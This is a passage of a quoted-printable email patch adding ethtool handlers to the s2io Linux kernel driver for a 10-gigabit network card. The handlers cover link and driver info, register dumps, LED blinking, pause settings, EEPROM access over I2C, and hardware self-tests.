|=0A= + RMAC_ADDR_CMD_MEM_OFFSET(0);=0A= + writeq(val64, &bar0->rmac_addr_cmd_mem);=0A= + /* Wait till command completes */=0A= + if (waitForCmdComplete(sp)) {=0A= + DBG_PRINT(ERR_DBG, "%s: set_mac_addr failed\n", dev->name);=0A= + return FAILURE;=0A= + }=0A= +=0A= + return SUCCESS;=0A= +}=0A= +=0A= +/*=0A= + * Input Argument/s: =0A= + * sp - private member of the device structure, which is a pointer to = the =0A= + * s2io_nic structure.=0A= + * info - pointer to the structure with parameters given by ethtool to = set=0A= + * link information.=0A= + * Return value:=0A= + * 0 on success.=0A= + * Description:=0A= + * The function sets different link parameters provided by the user = onto =0A= + * the NIC.=0A= + */=0A= +static int s2io_ethtool_sset(struct net_device *dev,=0A= + struct ethtool_cmd *info)=0A= +{=0A= + nic_t *sp =3D dev->priv;=0A= + if ((info->autoneg =3D=3D AUTONEG_ENABLE) ||=0A= + (info->speed !=3D SPEED_10000) || (info->duplex !=3D DUPLEX_FULL))=0A= + return -EINVAL;=0A= + else {=0A= + s2io_close(sp->dev);=0A= + s2io_open(sp->dev);=0A= + }=0A= +=0A= + return 0;=0A= +}=0A= +=0A= +/*=0A= + * Input Argument/s: =0A= + * sp - private member of the device structure, which is a pointer to = the =0A= + * s2io_nic structure.=0A= + * info - pointer to the structure with parameters given by ethtool to = return=0A= + * link information.=0A= + * Return value:=0A= + * void=0A= + * Description:=0A= + * Returns link specefic information like speed, duplex etc.. to = ethtool.=0A= + */=0A= +int s2io_ethtool_gset(struct net_device *dev, struct ethtool_cmd *info)=0A= +{=0A= + nic_t *sp =3D dev->priv;=0A= + info->supported =3D (SUPPORTED_10000baseT_Full | SUPPORTED_FIBRE);=0A= + info->advertising =3D (SUPPORTED_10000baseT_Full | SUPPORTED_FIBRE);=0A= + info->port =3D PORT_FIBRE;=0A= + /* info->transceiver?? TODO */=0A= +=0A= + if (netif_carrier_ok(sp->dev)) {=0A= + info->speed =3D 10000;=0A= + info->duplex =3D DUPLEX_FULL;=0A= + } else {=0A= + info->speed =3D -1;=0A= + info->duplex =3D -1;=0A= + }=0A= +=0A= + info->autoneg =3D AUTONEG_DISABLE;=0A= + return 0;=0A= +}=0A= +=0A= +/*=0A= + * Input Argument/s: =0A= + * sp - private member of the device structure, which is a pointer to = the =0A= + * s2io_nic structure.=0A= + * info - pointer to the structure with parameters given by ethtool to = return=0A= + * driver information.=0A= + * Return value:=0A= + * void=0A= + * Description:=0A= + * Returns driver specefic information like name, version etc.. to = ethtool.=0A= + */=0A= +static void s2io_ethtool_gdrvinfo(struct net_device *dev,=0A= + struct ethtool_drvinfo *info)=0A= +{=0A= + nic_t *sp =3D dev->priv;=0A= +=0A= + strncpy(info->driver, s2io_driver_name, sizeof(s2io_driver_name));=0A= + strncpy(info->version, s2io_driver_version,=0A= + sizeof(s2io_driver_version));=0A= + strncpy(info->fw_version, "", 32);=0A= + strncpy(info->bus_info, sp->pdev->slot_name, 32);=0A= + info->regdump_len =3D XENA_REG_SPACE;=0A= + info->eedump_len =3D XENA_EEPROM_SPACE;=0A= + info->testinfo_len =3D S2IO_TEST_LEN;=0A= + info->n_stats =3D S2IO_STAT_LEN;=0A= +}=0A= +=0A= +/*=0A= + * Input Argument/s: =0A= + * sp - private member of the device structure, which is a pointer to = the =0A= + * s2io_nic structure.=0A= + * regs - pointer to the structure with parameters given by ethtool = for =0A= + * dumping the registers.=0A= + * reg_space - The input argumnet into which all the registers are = dumped.=0A= + * Return value:=0A= + * void=0A= + * Description:=0A= + * Dumps the entire register space of xFrame NIC into the user given = buffer =0A= + * area.=0A= + */=0A= +static void s2io_ethtool_gregs(struct net_device *dev,=0A= + struct ethtool_regs *regs, void *space)=0A= +{=0A= + int i;=0A= + u64 reg;=0A= + u8 *reg_space =3D (u8 *) space;=0A= + nic_t *sp =3D dev->priv;=0A= +=0A= + regs->len =3D XENA_REG_SPACE;=0A= + regs->version =3D sp->pdev->subsystem_device;=0A= +=0A= + for (i =3D 0; i < regs->len; i +=3D 8) {=0A= + reg =3D readq((void *) (sp->bar0 + i));=0A= + memcpy((reg_space + i), ®, 8);=0A= + }=0A= +}=0A= +=0A= +/*=0A= + * Input Argument/s: =0A= + * data - address of the private member of the device structure, which =0A= + * is a pointer to the s2io_nic structure, provided as an u32.=0A= + * Return value:=0A= + * void=0A= + * Description:=0A= + * This is actually the timer function that alternates the adapter LED = bit=0A= + * of the adapter control bit to set/reset every time on invocation.=0A= + * The timer is set for 1/2 a second, hence tha NIC blinks once every = second.=0A= + */=0A= +static void s2io_phy_id(unsigned long data)=0A= +{=0A= + nic_t *sp =3D (nic_t *) data;=0A= + XENA_dev_config_t *bar0 =3D (XENA_dev_config_t *) sp->bar0;=0A= + u64 val64 =3D 0;=0A= + u16 subid;=0A= +=0A= + subid =3D sp->pdev->subsystem_device;=0A= + if ((subid & 0xFF) >=3D 0x07) {=0A= + val64 =3D readq(&bar0->gpio_control);=0A= + val64 ^=3D GPIO_CTRL_GPIO_0;=0A= + writeq(val64, &bar0->gpio_control);=0A= + } else {=0A= + val64 =3D readq(&bar0->adapter_control);=0A= + val64 ^=3D ADAPTER_LED_ON;=0A= + writeq(val64, &bar0->adapter_control);=0A= + }=0A= +=0A= + mod_timer(&sp->id_timer, jiffies + HZ / 2);=0A= +}=0A= +=0A= +/*=0A= + * Input Argument/s: =0A= + * sp - private member of the device structure, which is a pointer to = the =0A= + * s2io_nic structure.=0A= + * id - pointer to the structure with identification parameters given = by =0A= + * ethtool.=0A= + * Return value:=0A= + * int , returns '0' on success=0A= + * Description:=0A= + * Used to physically identify the NIC on the system. The Link LED = will blink=0A= + * for a time specified by the user for identification.=0A= + * NOTE: The Link has to be Up to be able to blink the LED. Hence =0A= + * identification is possible only if it's link is up.=0A= + */=0A= +static int s2io_ethtool_idnic(struct net_device *dev, u32 data)=0A= +{=0A= + u64 val64 =3D 0;=0A= + nic_t *sp =3D dev->priv;=0A= + XENA_dev_config_t *bar0 =3D (XENA_dev_config_t *) sp->bar0;=0A= + u16 subid;=0A= +=0A= + subid =3D sp->pdev->subsystem_device;=0A= + if ((subid & 0xFF) < 0x07) {=0A= + val64 =3D readq(&bar0->adapter_control);=0A= + if (!(val64 & ADAPTER_CNTL_EN)) {=0A= + printk(KERN_ERR=0A= + "Adapter Link down, cannot blink LED\n");=0A= + return -EFAULT;=0A= + }=0A= + }=0A= + if (sp->id_timer.function =3D=3D NULL) {=0A= + init_timer(&sp->id_timer);=0A= + sp->id_timer.function =3D s2io_phy_id;=0A= + sp->id_timer.data =3D (unsigned long) sp;=0A= + }=0A= + mod_timer(&sp->id_timer, jiffies);=0A= + set_current_state(TASK_INTERRUPTIBLE);=0A= + if (data)=0A= + schedule_timeout(data * HZ);=0A= + else=0A= + schedule_timeout(MAX_SCHEDULE_TIMEOUT);=0A= + del_timer_sync(&sp->id_timer);=0A= +=0A= + return 0;=0A= +}=0A= +=0A= +/*=0A= + * Input Argument/s: =0A= + * sp - private member of the device structure, which is a pointer to = the =0A= + * s2io_nic structure.=0A= + * ep - pointer to the structure with pause parameters given by = ethtool.=0A= + * Return value:=0A= + * void=0A= + * Description:=0A= + * Returns the Pause frame generation and reception capability of the = NIC.=0A= + */=0A= +static void s2io_ethtool_getpause_data(struct net_device *dev,=0A= + struct ethtool_pauseparam *ep)=0A= +{=0A= + u64 val64;=0A= + nic_t *sp =3D dev->priv;=0A= + XENA_dev_config_t *bar0 =3D (XENA_dev_config_t *) sp->bar0;=0A= +=0A= + val64 =3D readq(&bar0->rmac_pause_cfg);=0A= + if (val64 & RMAC_PAUSE_GEN_ENABLE)=0A= + ep->tx_pause =3D TRUE;=0A= + if (val64 & RMAC_PAUSE_RX_ENABLE)=0A= + ep->rx_pause =3D TRUE;=0A= + ep->autoneg =3D FALSE;=0A= +}=0A= +=0A= +/*=0A= + * Input Argument/s: =0A= + * sp - private member of the device structure, which is a pointer to = the =0A= + * s2io_nic structure.=0A= + * ep - pointer to the structure with pause parameters given by ethtool.=0A= + * Return value:=0A= + * int, returns '0' on Success=0A= + * Description:=0A= + * It can be used to set or reset Pause frame generation or reception = support =0A= + * of the NIC.=0A= + */=0A= +int s2io_ethtool_setpause_data(struct net_device *dev,=0A= + struct ethtool_pauseparam *ep)=0A= +{=0A= + u64 val64;=0A= + nic_t *sp =3D dev->priv;=0A= + XENA_dev_config_t *bar0 =3D (XENA_dev_config_t *) sp->bar0;=0A= +=0A= + val64 =3D readq(&bar0->rmac_pause_cfg);=0A= + if (ep->tx_pause)=0A= + val64 |=3D RMAC_PAUSE_GEN_ENABLE;=0A= + else=0A= + val64 &=3D ~RMAC_PAUSE_GEN_ENABLE;=0A= + if (ep->rx_pause)=0A= + val64 |=3D RMAC_PAUSE_RX_ENABLE;=0A= + else=0A= + val64 &=3D ~RMAC_PAUSE_RX_ENABLE;=0A= + writeq(val64, &bar0->rmac_pause_cfg);=0A= + return 0;=0A= +}=0A= +=0A= +/*=0A= + * Input Argument/s: =0A= + * sp - private member of the device structure, which is a pointer to = the =0A= + * s2io_nic structure.=0A= + * off - offset at which the data must be written=0A= + * Return value:=0A= + * -1 on failure and the value read from the Eeprom if successful.=0A= + * Description:=0A= + * Will read 4 bytes of data from the user given offset and return the =0A= + * read data.=0A= + * NOTE: Will allow to read only part of the EEPROM visible through the=0A= + * I2C bus.=0A= + */=0A= +#define S2IO_DEV_ID 5=0A= +static u32 readEeprom(nic_t * sp, int off)=0A= +{=0A= + u32 data =3D -1, exit_cnt =3D 0;=0A= + u64 val64;=0A= + XENA_dev_config_t *bar0 =3D (XENA_dev_config_t *) sp->bar0;=0A= +=0A= + val64 =3D I2C_CONTROL_DEV_ID(S2IO_DEV_ID) | I2C_CONTROL_ADDR(off) |=0A= + I2C_CONTROL_BYTE_CNT(0x3) | I2C_CONTROL_READ |=0A= + I2C_CONTROL_CNTL_START;=0A= + writeq(val64, &bar0->i2c_control);=0A= +=0A= + while (exit_cnt < 5) {=0A= + val64 =3D readq(&bar0->i2c_control);=0A= + if (I2C_CONTROL_CNTL_END(val64)) {=0A= + data =3D I2C_CONTROL_GET_DATA(val64);=0A= + break;=0A= + }=0A= + set_current_state(TASK_UNINTERRUPTIBLE);=0A= + schedule_timeout(HZ / 20);=0A= + exit_cnt++;=0A= + }=0A= +=0A= + return data;=0A= +}=0A= +=0A= +/*=0A= + * Input Argument/s: =0A= + * sp - private member of the device structure, which is a pointer to = the =0A= + * s2io_nic structure.=0A= + * off - offset at which the data must be written=0A= + * data - The data that is to be written=0A= + * cnt - Number of bytes of the data that are actually to be written = into =0A= + * the Eeprom. (max of 3)=0A= + * Return value:=0A= + * '0' on success, -1 on failure.=0A= + * Description:=0A= + * Actually writes the relevant part of the data value into the Eeprom=0A= + * through the I2C bus.=0A= + */=0A= +static int writeEeprom(nic_t * sp, int off, u32 data, int cnt)=0A= +{=0A= + int exit_cnt =3D 0, ret =3D -1;=0A= + u64 val64;=0A= + XENA_dev_config_t *bar0 =3D (XENA_dev_config_t *) sp->bar0;=0A= +=0A= + val64 =3D I2C_CONTROL_DEV_ID(S2IO_DEV_ID) | I2C_CONTROL_ADDR(off) |=0A= + I2C_CONTROL_BYTE_CNT(cnt) | I2C_CONTROL_SET_DATA(data) |=0A= + I2C_CONTROL_CNTL_START;=0A= + writeq(val64, &bar0->i2c_control);=0A= +=0A= + while (exit_cnt < 5) {=0A= + val64 =3D readq(&bar0->i2c_control);=0A= + if (I2C_CONTROL_CNTL_END(val64)) {=0A= + if (!(val64 & I2C_CONTROL_NACK))=0A= + ret =3D 0;=0A= + break;=0A= + }=0A= + set_current_state(TASK_UNINTERRUPTIBLE);=0A= + schedule_timeout(HZ / 20);=0A= + exit_cnt++;=0A= + }=0A= +=0A= + return ret;=0A= +}=0A= +=0A= +/* =0A= + * A helper function used to invert the 4 byte u32 data field=0A= + * byte by byte. This will be used by the Read Eeprom function=0A= + * for display purposes.=0A= + */=0A= +u32 inv(u32 data)=0A= +{=0A= + static u32 ret =3D 0;=0A= +=0A= + if (data) {=0A= + u8 c =3D data;=0A= + ret =3D ((ret << 8) + c);=0A= + data >>=3D 8;=0A= + inv(data);=0A= + }=0A= +=0A= + return ret;=0A= +}=0A= +=0A= +/*=0A= + * Input Argument/s: =0A= + * sp - private member of the device structure, which is a pointer to = the =0A= + * s2io_nic structure.=0A= + * eeprom - pointer to the user level structure provided by ethtool, =0A= + * containing all relevant information.=0A= + * data_buf - user defined value to be written into Eeprom.=0A= + * Return value:=0A= + * int '0' on success=0A= + * Description:=0A= + * Reads the values stored in the Eeprom at given offset for a given = length.=0A= + * Stores these values int the input argument data buffer 'data_buf' = and=0A= + * returns these to the caller (ethtool.)=0A= + */=0A= +int s2io_ethtool_geeprom(struct net_device *dev,=0A= + struct ethtool_eeprom *eeprom, u8 * data_buf)=0A= +{=0A= + u32 data, i, valid;=0A= + nic_t *sp =3D dev->priv;=0A= +=0A= + eeprom->magic =3D sp->pdev->vendor | (sp->pdev->device << 16);=0A= +=0A= + if ((eeprom->offset + eeprom->len) > (XENA_EEPROM_SPACE))=0A= + eeprom->len =3D XENA_EEPROM_SPACE - eeprom->offset;=0A= +=0A= + for (i =3D 0; i < eeprom->len; i +=3D 4) {=0A= + data =3D readEeprom(sp, eeprom->offset + i);=0A= + if (data < 0) {=0A= + DBG_PRINT(ERR_DBG, "Read of EEPROM failed\n");=0A= + return -EFAULT;=0A= + }=0A= + valid =3D inv(data);=0A= + memcpy((data_buf + i), &valid, 4);=0A= + }=0A= + return 0;=0A= +}=0A= +=0A= +/*=0A= + * Input Argument/s: =0A= + * sp - private member of the device structure, which is a pointer to = the =0A= + * s2io_nic structure.=0A= + * eeprom - pointer to the user level structure provided by ethtool, =0A= + * containing all relevant information.=0A= + * data_buf - user defined value to be written into Eeprom.=0A= + * Return value:=0A= + * '0' on success, -EFAULT on failure.=0A= + * Description:=0A= + * Tries to write the user provided value in the Eeprom, at the offset=0A= + * given by the user.=0A= + */=0A= +static int s2io_ethtool_seeprom(struct net_device *dev,=0A= + struct ethtool_eeprom *eeprom,=0A= + u8 * data_buf)=0A= +{=0A= + int len =3D eeprom->len, cnt =3D 0;=0A= + u32 valid =3D 0, data;=0A= + nic_t *sp =3D dev->priv;=0A= +=0A= + if (eeprom->magic !=3D (sp->pdev->vendor | (sp->pdev->device << 16))) {=0A= + DBG_PRINT(ERR_DBG,=0A= + "ETHTOOL_WRITE_EEPROM Err: Magic value ");=0A= + DBG_PRINT(ERR_DBG, "is wrong, Its not 0x%x\n",=0A= + eeprom->magic);=0A= + return -EFAULT;=0A= + }=0A= +=0A= + while (len) {=0A= + data =3D (u32) data_buf[cnt] & 0x000000FF;=0A= + if (data) {=0A= + valid =3D (u32) (data << 24);=0A= + } else=0A= + valid =3D data;=0A= +=0A= + if (writeEeprom(sp, (eeprom->offset + cnt), valid, 0)) {=0A= + DBG_PRINT(ERR_DBG,=0A= + "ETHTOOL_WRITE_EEPROM Err: Cannot ");=0A= + DBG_PRINT(ERR_DBG,=0A= + "write into the specified offset\n");=0A= + return -EFAULT;=0A= + }=0A= + cnt++;=0A= + len--;=0A= + }=0A= +=0A= + return 0;=0A= +}=0A= +=0A= +/*=0A= + * Input Argument/s: =0A= + * sp - private member of the device structure, which is a pointer to = the =0A= + * s2io_nic structure.=0A= + * data - variable that returns the result of each of the test = conducted by =0A= + * the driver.=0A= + * Return value:=0A= + * '0' on success.=0A= + * Description:=0A= + * Read and write into all clock domains. The NIC has 3 clock domains,=0A= + * see that registers in all the three regions are accessible.=0A= + */=0A= +static int s2io_registerTest(nic_t * sp, uint64_t * data)=0A= +{=0A= + XENA_dev_config_t *bar0 =3D (XENA_dev_config_t *) sp->bar0;=0A= + u64 val64 =3D 0;=0A= + int fail =3D 0;=0A= +=0A= + val64 =3D readq(&bar0->pcc_enable);=0A= + if (val64 !=3D 0xff00000000000000ULL) {=0A= + fail =3D 1;=0A= + DBG_PRINT(INFO_DBG, "Read Test level 1 fails\n");=0A= + }=0A= +=0A= + val64 =3D readq(&bar0->rmac_pause_cfg);=0A= + if (val64 !=3D 0xc000ffff00000000ULL) {=0A= + fail =3D 1;=0A= + DBG_PRINT(INFO_DBG, "Read Test level 2 fails\n");=0A= + }=0A= +=0A= + val64 =3D readq(&bar0->rx_queue_cfg);=0A= + if (val64 !=3D 0x0808080808080808ULL) {=0A= + fail =3D 1;=0A= + DBG_PRINT(INFO_DBG, "Read Test level 3 fails\n");=0A= + }=0A= +=0A= + val64 =3D readq(&bar0->xgxs_efifo_cfg);=0A= + if (val64 !=3D 0x000000001923141EULL) {=0A= + fail =3D 1;=0A= + DBG_PRINT(INFO_DBG, "Read Test level 4 fails\n");=0A= + }=0A= +=0A= + val64 =3D 0x5A5A5A5A5A5A5A5AULL;=0A= + writeq(val64, &bar0->xmsi_data);=0A= + val64 =3D readq(&bar0->xmsi_data);=0A= + if (val64 !=3D 0x5A5A5A5A5A5A5A5AULL) {=0A= + fail =3D 1;=0A= + DBG_PRINT(ERR_DBG, "Write Test level 1 fails\n");=0A= + }=0A= +=0A= + val64 =3D 0xA5A5A5A5A5A5A5A5ULL;=0A= + writeq(val64, &bar0->xmsi_data);=0A= + val64 =3D readq(&bar0->xmsi_data);=0A= + if (val64 !=3D 0xA5A5A5A5A5A5A5A5ULL) {=0A= + fail =3D 1;=0A= + DBG_PRINT(ERR_DBG, "Write Test level 2 fails\n");=0A= + }=0A= +=0A= + *data =3D fail;=0A= + return 0;=0A= +}=0A= +=0A= +/*=0A= + * Input Argument/s: =0A= + * sp - private member of the device structure, which is a pointer to = the =0A= + * s2io_nic structure.=0A= + * data - variable that returns the result of each of the test = conducted by =0A= + * the driver.=0A= + * Return value:=0A= + * '0' on success.=0A= + * Description:=0A= + * Verify that EEPROM in the xena can be programmed using I2C_CONTROL =0A= + * register.=0A= + */=0A= +static int s2io_eepromTest(nic_t * sp, uint64_t * data)=0A= +{=0A= + int fail =3D 0, ret_data;=0A= +=0A= + /* Test Write Error at offset 0 */=0A= + if (!writeEeprom(sp, 0, 0, 3))=0A= + fail =3D 1;=0A= +=0A= + /* Test Write at offset 4f0 */=0A= + if (writeEeprom(sp, 0x4F0, 0x01234567, 3))=0A= + fail =3D 1;=0A= + if ((ret_data =3D readEeprom(sp, 0x4f0)) < 0)=0A= + fail =3D 1;=0A= +=0A= + if (ret_data !=3D 0x01234567)=0A= + fail =3D 1;=0A= +=0A= + /* Reset the EEPROM data go FFFF */=0A= + writeEeprom(sp, 0x4F0, 0xFFFFFFFF, 3);=0A= +=0A= + /* Test Write Request Error at offset 0x7c */=0A= + if (!writeEeprom(sp, 0x07C, 0, 3))=0A= + fail =3D 1;=0A= +=0A= + /* Test Write Request at offset 0x7fc */=0A= + if (writeEeprom(sp, 0x7FC, 0x01234567, 3))=0A= + fail =3D 1;=0A= + if ((ret_data =3D readEeprom(sp, 0x7FC)) < 0)=0A= + fail =3D 1;=0A= +=0A= + if (ret_data !=3D 0x01234567)=0A= + fail =3D 1;=0A= +=0A= + /* Reset the EEPROM data go FFFF */=0A= + writeEeprom(sp, 0x7FC, 0xFFFFFFFF, 3);=0A= +=0A= + /* Test Write Error at offset 0x80 */=0A= + if (!writeEeprom(sp, 0x080, 0, 3))=0A= + fail =3D 1;=0A= +=0A= + /* Test Write Error at offset 0xfc */=0A= + if (!writeEeprom(sp, 0x0FC, 0, 3))=0A= + fail =3D 1;=0A= +=0A= + /* Test Write Error at offset 0x100 */=0A= + if (!writeEeprom(sp, 0x100, 0, 3))=0A= + fail =3D 1;=0A= +=0A= + /* Test Write Error at offset 4ec */=0A= + if (!writeEeprom(sp, 0x4EC, 0, 3))=0A= + fail =3D 1;=0A= +=0A= + *data =3D fail;=0A= + return 0;=0A= +}=0A= +=0A= +/*=0A= + * Input Argument/s: =0A= + * sp - private member of the device structure, which is a pointer to = the =0A= + * s2io_nic structure.=0A= + * data - variable that returns the result of each of the test = conducted by =0A= + * the driver.=0A= + * Return value:=0A= + * '0' on success and -1 on failure.=0A= + * Description:=0A= + * This invokes the MemBist test of the card. We give around=0A= + * 2 secs time for the Test to complete. If it's still not complete=0A= + * within this peiod, we consider that the test failed. =0A= + */=0A= +static int s2io_bistTest(nic_t * sp, uint64_t * data)=0A= +{=0A= + u8 bist =3D 0;=0A= + int cnt =3D 0, ret =3D -1;=0A= +=0A= + pci_read_config_byte(sp->pdev, PCI_BIST, &bist);=0A= + bist |=3D PCI_BIST_START;=0A= + pci_write_config_word(sp->pdev, PCI_BIST, bist);=0A= +=0A= + while (cnt < 20) {=0A= + pci_read_config_byte(sp->pdev, PCI_BIST, &bist);=0A= + if (!(bist & PCI_BIST_START)) {=0A= + *data =3D (bist & PCI_BIST_CODE_MASK);=0A= + ret =3D 0;=0A= + break;=0A= + }=0A= + set_current_state(TASK_UNINTERRUPTIBLE);=0A= + schedule_timeout(HZ / 10);=0A= + cnt++;=0A= + }=0A= +=0A= + return ret;=0A= +}=0A= +=0A= +/*=0A= + * Input Argument/s: =0A= + * sp - private member of the device structure, which is a pointer to = the =0A= + * s2io_nic structure.=0A= + * data - variable that returns the result of each of the test = conducted by =0A= + * the driver.=0A= + * Return value:=0A= + * '0' on success.=0A= + * Description:=0A= + * The function verifies the link state of the NIC and updates the = input =0A= + * argument 'data' appropriately.=0A= + */=0A= +static int s2io_linkTest(nic_t * sp, uint64_t * data)=0A= +{=0A= + XENA_dev_config_t *bar0 =3D (XENA_dev_config_t *) sp->bar0;=0A= + u64 val64;=0A= +=0A= + val64 =3D readq(&bar0->adapter_status);=0A= + if (val64 & ADAPTER_STATUS_RMAC_LOCAL_FAULT)=0A= + *data =3D 1;=0A= +=0A= + return 0;=0A= +}=0A= +=0A= +/*=0A= + * Input Argument/s: =0A= + * sp - private member of the device structure, which is a pointer to = the =0A= + * s2io_nic structure.=0A= + * data - variable that returns the result of each of the test = conducted by =0A= + * the driver.=0A= + * Return value:=0A= + * '0' on success.=0A= + * Description:=0A= + * This is one of the offline test that tests the read and write =0A= + * access to the RldRam chip on the NIC.=0A= + */=0A= +static int s2io_rldramTest(nic_t * sp, uint64_t * data)=0A= +{=0A= + XENA_dev_config_t *bar0 =3D (XENA_dev_config_t *) sp->bar0;=0A= + u64 val64;=0A= + int cnt, iteration =3D 0, test_pass =3D 0;=0A= +=0A= + val64 =3D readq(&bar0->adapter_control);=0A= + val64 &=3D ~ADAPTER_ECC_EN;=0A= + writeq(val64, &bar0->adapter_control);=0A= +=0A= + val64 =3D readq(&bar0->mc_rldram_test_ctrl);=0A= + val64 |=3D MC_RLDRAM_TEST_MODE;=0A= + writeq(val64, &bar0->mc_rldram_test_ctrl);=0A= +=0A= + val64 =3D readq(&bar0->mc_rldram_mrs);=0A= + val64 |=3D MC_RLDRAM_QUEUE_SIZE_ENABLE;=0A= + writeq(val64, &bar0->mc_rldram_mrs);=0A= +=0A= + val64 |=3D MC_RLDRAM_MRS_ENABLE;=0A= + writeq(val64, &bar0->mc_rldram_mrs);=0A= +=0A= + while (iteration < 2) {=0A= + val64 =3D 0x55555555aaaa0000ULL;=0A= + if (iteration =3D=3D 1) {=0A= + val64 ^=3D 0xFFFFFFFFFFFF0000ULL;=0A= + }=0A= + writeq(val64, &bar0->mc_rldram_test_d0);=0A= +=0A= + val64 =3D 0xaaaa5a5555550000ULL;=0A= + if (iteration =3D=3D 1) {=0A= + val64 ^=3D 0xFFFFFFFFFFFF0000ULL;=0A= + }=0A= + writeq(val64, &bar0->mc_rldram_test_d1);=0A= +=0A= + val64 =3D 0x55aaaaaaaa5a0000ULL;=0A= + if (iteration =3D=3D 1) {=0A= + val64 ^=3D 0xFFFFFFFFFFFF0000ULL;=0A= + }=0A= + writeq(val64, &bar0->mc_rldram_test_d2);=0A= +=0A= + val64 =3D (u64) (0x0000003fffff0000ULL);=0A= + writeq(val64, &bar0->mc_rldram_test_add);=0A= +=0A= +=0A= + val64 =3D MC_RLDRAM_TEST_MODE;=0A= + writeq(val64, &bar0->mc_rldram_test_ctrl);=0A= +=0A= + val64 |=3D=0A= + MC_RLDRAM_TEST_MODE | MC_RLDRAM_TEST_WRITE |=0A= + MC_RLDRAM_TEST_GO;=0A= + writeq(val64, &bar0->mc_rldram_test_ctrl);=0A= +=0A= + for (cnt =3D 0; cnt < 5; cnt++) {=0A= + val64 =3D readq(&bar0->mc_rldram_test_ctrl);=0A= + if (val64 & MC_RLDRAM_TEST_DONE)=0A= + break;=0A= + set_current_state(TASK_UNINTERRUPTIBLE);=0A= + schedule_timeout(HZ / 5);=0A= + }=0A= +=0A= + if (cnt =3D=3D 5)=0A= + break;=0A= +=0A= + val64 =3D MC_RLDRAM_TEST_MODE;=0A= + writeq(val64, &bar0->mc_rldram_test_ctrl);=0A= +=0A= + val64 |=3D MC_RLDRAM_TEST_MODE | MC_RLDRAM_TEST_GO;=0A= + writeq(val64, &bar0->mc_rldram_test_ctrl);=0A= +=0A= + for (cnt =3D 0; cnt < 5; cnt++) {=0A= + val64 =3D readq(&bar0->mc_rldram_test_ctrl);=0A= + if (val64 & MC_RLDRAM_TEST_DONE)=0A= + break;=0A= + set_current_state(TASK_UNINTERRUPTIBLE);=0A= + schedule_timeout(HZ / 2);=0A= + }=0A= +=0A= + if (cnt =3D=3D 5)=0A= + break;=0A= +=0A= + val64 =3D readq(&bar0->mc_rldram_test_ctrl);=0A= + if (val64 & MC_RLDRAM_TEST_PASS)=0A= + test_pass =3D 1;=0A= +=0A= + iteration++;=0A= + }=0A= +=0A= + if (!test_pass)=0A= + *data =3D 1;=0A= + else=0A= + *data =3D 0;=0A= +=0A= + return 0;=0A= +}=0A= +=0A= +/*=0A= + * Input Argument/s: =0A= + * sp - private member of the device structure, which is a pointer to = the =0A= + * s2io_nic structure.=0A= + * ethtest - pointer to a ethtool command specific structure that will = be=0A= + * returned to the user.=0A= + * data - variable that returns the result of each of the test = conducted by =0A= + * the driver.=0A= + * Return value:=0A= + * SUCCESS on success and an appropriate -1 on failure.=0A= + * Description:=0A= + * This function conducts 6 tests ( 4 offline and 2 online) to = determine=0A= + * the health of the card.=0A= + */=0A= +static void s2io_ethtool_test(struct net_device *dev,=0A= + struct ethtool_test *ethtest,=0A= + uint64_t * data)=0A= +{=0A= + nic_t *sp =3D dev->priv;=0A= + int orig_state =3D netif_running(sp->dev);=0A= +=0A= + if (ethtest->flags =3D=3D ETH_TEST_FL_OFFLINE) {=0A= + /* Offline Tests. */=0A= + if (orig_state) {=0A= + s2io_close(sp->dev);=0A= + s2io_set_swapper(sp);=0A= + } else=0A= + s2io_set_swapper(sp);=0A= +=0A= + if (s2io_registerTest(sp, &data[0]))=0A= + ethtest->flags |=3D ETH_TEST_FL_FAILED;=0A= +=0A= + s2io_reset(sp);=0A= + s2io_set_swapper(sp);=0A= +=0A= + if (s2io_rldramTest(sp, &data[3]))=0A= + ethtest->flags |=3D ETH_TEST_FL_FAILED;=0A= +=0A= + s2io_reset(sp);=0A= + s2io_set_swapper(sp);=0A= +=0A= + if (s2io_eepromTest(sp, &data[1]))=0A= + ethtest->flags |=3D ETH_TEST_FL_FAILED;=0A= +=0A= + if (s2io_bistTest(sp, &data[4]))=0A= + ethtest->flags |=3D ETH_TEST_FL_FAILED;=0A= +=0A= + if (orig_state)=0A= + s2io_open(sp->dev);=0A= +=0A= + data[2] =3D 0;=0A= + } else {=0A= + /* Online Tests. */=0A= + if (!orig_state) {=0A= + DBG_PRINT(ERR_DBG,=0A= + "%s: is not up, cannot run test\n",=0A= + dev->name);=0A= + data[0] =3D -1;=0A= + data[1] =3D -1;=0A= + data[2] =3D -1;=0A= + data[3] =3D -1;=0A= + data[4] =3D -1;=0A= + }=0A= +=0A= + if (s2io_linkTest(sp, &data[2]))=0A= + ethtest->flags |=3D ETH_TEST_FL_FAILED;=0A= +=0A= + data[0] =3D 0;=0A= + data[1] =3D 0;=0A= + data[3] =3D 0;=0A= + data[4] =3D 0;=0A= + }=0A= +}=0A= +=0A= +static void s2io_get_ethtool_stats(struct net_device *dev,=0A= + struct ethtool_stats *estats,=0A= + u64 * tmp_stats)=0A= +{=0A= + int i =3D 0;=0A= + nic_t *sp =3D dev->priv;=0A= + StatInfo_t *stat_info =3D sp->mac_control.StatsInfo;=0A= +=0A= + tmp_stats[i++] =3D stat_info->tmac_frms;=0A= + tmp_stats[i++] =3D stat_info->tmac_data_octets;=0A= + tmp_stats[i++] =3D stat_info->tmac_drop_frms;=0A= + tmp_stats[i++] =3D stat_info->tmac_mcst_frms;=0A= + tmp_stats[i++] =3D stat_info->tmac_bcst_frms;=0A= + tmp_stats[i++] =3D stat_info->tmac_pause_ctrl_frms;=0A= + tmp_stats[i++] =3D stat_info->tmac_any_err_frms;=0A= + tmp_stats[i++] =3D stat_info->tmac_vld_ip_octets;=0A= + tmp_stats[i++] =3D stat_info->tmac_vld_ip;=0A= + tmp_stats[i++] =3D stat_info->tmac_drop_ip;=0A= + tmp_stats[i++] =3D stat_info->tmac_icmp;=0A= + tmp_stats[i++] =3D stat_info->tmac_rst_tcp;=0A= + tmp_stats[i++] =3D stat_info->tmac_tcp;=0A= + tmp_stats[i++] =3D stat_info->tmac_udp;=0A= + tmp_stats[i++] =3D stat_info->rmac_vld_frms;=0A= + tmp_stats[i++] =3D stat_info->rmac_data_octets;=0A= + tmp_stats[i++] =3D stat_info->rmac_fcs_err_frms;=0A= + tmp_stats[i++] =3D stat_info->rmac_drop_frms;=0A= + tmp_stats[i++] =3D stat_info->rmac_vld_mcst_frms;=0A= + tmp_stats[i++] =3D stat_info->rmac_vld_bcst_frms;=0A= + tmp_stats[i++] =3D stat_info->rmac_in_rng_len_err_frms;=0A= + tmp_stats[i++] =3D 